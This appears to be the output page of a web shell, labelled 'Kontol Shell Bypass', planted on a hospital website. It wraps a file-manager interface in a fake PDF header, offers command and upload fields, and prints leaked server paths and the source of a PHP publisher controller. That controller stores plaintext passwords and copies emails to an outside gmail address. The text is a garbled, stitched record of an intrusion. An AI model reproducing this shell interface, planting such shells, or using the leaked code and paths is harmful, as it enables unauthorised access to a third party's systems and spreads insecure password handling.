%PDF- <> %âãÏÓ endobj 2 0 obj <> endobj 3 0 obj <>/ExtGState<>/ProcSet[/PDF/Text/ImageB/ImageC/ImageI] >>/Annots[ 28 0 R 29 0 R] /MediaBox[ 0 0 595.5 842.25] /Contents 4 0 R/Group<>/Tabs/S>> endobj ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY>endobj 2 0 obj<>endobj 2 0 obj<>endobj 2 0 obj<>endobj 2 0 obj<> endobj 2 0 obj<>endobj 2 0 obj<>es 3 0 R>> endobj 2 0 obj<> ox[ 0.000000 0.000000 609.600000 935.600000]/Fi endobj 3 0 obj<> endobj 7 1 obj<>/ProcSet[/PDF/Text/ImageB/ImageC/ImageI]>>/Subtype/Form>> stream

nadelinn - rinduu

Command :

ikan Uploader :
Directory :  /var/www/html/shardahospital.org/shardalms/api/application/controllers_old/
Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 
Current File : /var/www/html/shardahospital.org/shardalms/api/application/controllers_old/Publisher.php
<?php
class Publisher extends MY_Controller {
    function __construct() {
        parent::__construct();
		not_logged_res(); 
		$this->checkAccess('manage_publishers');
		$this->load->model("publisher_model", "pub");
    }
	
	function init(){
		$data=$this->pub->lists(); 
		$data['utmSources']=$this->common->allUtmSources(TRUE); 
		$this->json_data($data);
	}
	
	function lists(){
		$data=$this->pub->lists();
		$this->json_data($data);
	}
	
	function save(){
		$inf=array('success'=>'F', 'msg'=>'Error!');
		$post=trim_array($this->input->post());

		$id=$post['id']=intval($post['id']);
		$this->form_validation->set_rules('name', 'Name', 'required', $this->req);
		//$this->form_validation->set_rules('username', 'Username', "required|is_unique[users.username.id!='$id']", $this->req);
		$this->form_validation->set_rules('mobile', 'Mobile No.', "required|integer|exact_length[10]", $this->req);
		$this->form_validation->set_rules('email', 'Email', "required|valid_email|is_unique[users.email.id!='$id']", $this->req);
		if(!$id){
			$this->form_validation->set_rules('password', 'Password', "required", $this->req);
		}
		//$this->form_validation->set_rules('pub_utm_source_id', 'Source', "required", $this->req);
		$this->form_validation->set_rules('pub_agreement_type', 'Agreement type', "required", $this->req);
		$this->form_validation->set_rules('pub_contract_startdate', 'Contract start date', "required", $this->req);
		$this->form_validation->set_rules('pub_contract_enddate', 'Contract end date', "required", $this->req);
		$this->form_validation->set_rules('pub_contract_amt', 'Contract amount', "required|numeric", $this->req);
		$this->form_validation->set_rules('pub_conversion_per', 'Conversion ratio', "required|numeric", $this->req);
		
		if(@$this->form_validation->run() == FALSE){
			$inf['errors']=$this->form_validation->get_errors();
			$inf['msg']=reset($inf['errors']);
		}else{
			$data=filter_value($post, array('id', 'name', 'email', 'mobile', 'username', 'pub_utm_source_id', 'pub_agreement_type','pub_contract_amt', 'pub_conversion_per'));
			if($post['password']){
				$data['pass_text']=$post['password'];
				$data['password']=encrypt_password($post['password']);
			}
			$data['pub_contract_startdate']=to_date_format($post['pub_contract_startdate']);
			$data['pub_contract_enddate']=to_date_format($post['pub_contract_enddate']);
			$data['type']='PUBLISHER';

			/** Proposal Doc */
			if($_FILES['pub_proposal_doc']['name']){
				if(strtolower(get_ext($_FILES['pub_proposal_doc']['name']))!='pdf'){
					$inf['msg']="Proposal doc must be PDF file only";
					$this->json_data($inf);
				}
				$oldf='';
				if($id){
					$oldf=$this->db->select("pub_proposal_doc")->get_where("users", array('id'=>$id))->row()->pub_proposal_doc;
				}
				$filename=append_to_filename($_FILES['pub_proposal_doc']['name'], time());
				if(move_uploaded_file($_FILES['pub_proposal_doc']['tmp_name'], UP_PATHF.'proposal_docs/'.$filename)){
					$data['pub_proposal_doc']=$filename;
					if($oldf){
						del_file(UP_PATHF.'proposal_docs/'.$oldf);
					}
				}
			}
			/** \ */

			$data['modules']='';
			if($post['lead_download']){
				$data['modules']='63';
			}
			
			if($user_id=$this->common->save($data, "users")){
				$inf['id']=$user_id;
				$inf['success']='T';
				$inf['msg']='Publisher '.($id?'updated':'added').' successfully';
			}
		}
		$this->json_data($inf);
	}
	
	function detail($id=0){
		$dtl=$this->pub->detail($id);
		$this->json_data($dtl);
	}
	
	function delete(){
		$inf=array('success'=>'F', 'msg'=>'Can not deleted!');
		$id=intval($this->input->post('id'));
		$doc=$this->db->select("pub_proposal_doc")->get_where("users", array('id'=>$id))->row()->pub_proposal_doc;
		if($this->pub->delete($id)){
			if($doc){
				del_file(UP_PATHF.'proposal_docs/'.$doc);
			}
			$inf['success']='T';
			$inf['msg']="Publisher deleted successfully";
		}
		$this->json_data($inf);
	}

	function removeDoc(){
		$inf=array('success'=>'F', 'msg'=>'Can not removed!');
		$id=intval($this->input->post('id'));
		$doc=$this->db->select("pub_proposal_doc")->get_where("users", array('id'=>$id))->row()->pub_proposal_doc;
		if($this->common->save(array('id'=>$id, 'pub_proposal_doc'=>''), "users")){
			if($doc){
				del_file(UP_PATHF.'proposal_docs/'.$doc);
			}
			$inf['success']='T';
			$inf['msg']="Proposal doc removed successfully";
		}
		$this->json_data($inf);
	}

	function updateStatus(){
		$inf=array('success'=>false, 'msg'=>'Error!');
		$id=intval($this->input->post('id'));
		$status=intval($this->input->post('status'));

		$data=array('id'=>$id, 'status'=>$status);
		if($status==1){
			$dtl=$this->pub->detail($id);
			if(!$dtl['targetAssigned']){
				$inf['msg']="Please assign target first";
				$this->json_data($inf);
			}
		}
		if($this->common->save($data, "users")){
			if($status==1){
				$dtl['loginUrl']="https://publisher.sharda.ac.in/login.php";
				$emailMsg=$this->load->view("email/pub_reg", $dtl, TRUE);
				send_email($dtl['email'], "Publisher Registration", $emailMsg);
				send_email("sat.web1989@gmail.com", "Publisher Registration", $emailMsg);
			}
			$inf['success']=true;
			$inf['msg']="Status updated";
		}
		$this->json_data($inf);
	}

	function viewTargets($user_id=0){
		$dtl['targets']=$this->pub->viewTargets($user_id);
		$this->json_data($dtl);
	}

	function saveTarget(){
		$inf=array('success'=>false, 'msg'=>'Error!');
		$post=$this->input->post();
		$this->db->delete("user_targets", array('user_id'=>$post['user_id']));

		foreach($post['leads_count'] as $k=>$v){
			$d=array('user_id'=>$post['user_id'], 'tmonth'=>$k, 'leads_count'=>$post['leads_count'][$k], 'conversion_per'=>$post['conversion_per'][$k], 'cpl'=>$post['cpl'][$k]);
			$this->common->save($d, "user_targets");
		}

		$inf['success']=true;
		$inf['msg']="Target saved successfully";
		$this->json_data($inf);
	}

	/** NDA */
	function getNDAContent(){
		$inf['nda']=$this->common->getNDAContent();
		$this->json_data($inf);
	}

	function saveNDAContent(){
		$inf=array('success'=>'F', 'msg'=>'Error!');
		$nda=trim($this->input->post('nda'));
		if(!$nda){
			$inf['msg']="Please add NDA content";
			$this->json_data($inf);
		}
		$d=array('datavalue'=>$nda, 'updated_by'=>USER_ID, 'updated'=>currentDT());
		$this->db->update("master_data", $d, array('datakey'=>'nda'));
		if($this->db->affected_rows()){
			$inf['success']='T';
			$inf['msg']="NDA updated";
		}
		$this->json_data($inf);
	}
	/** \ */
}

//EOF

Kontol Shell Bypass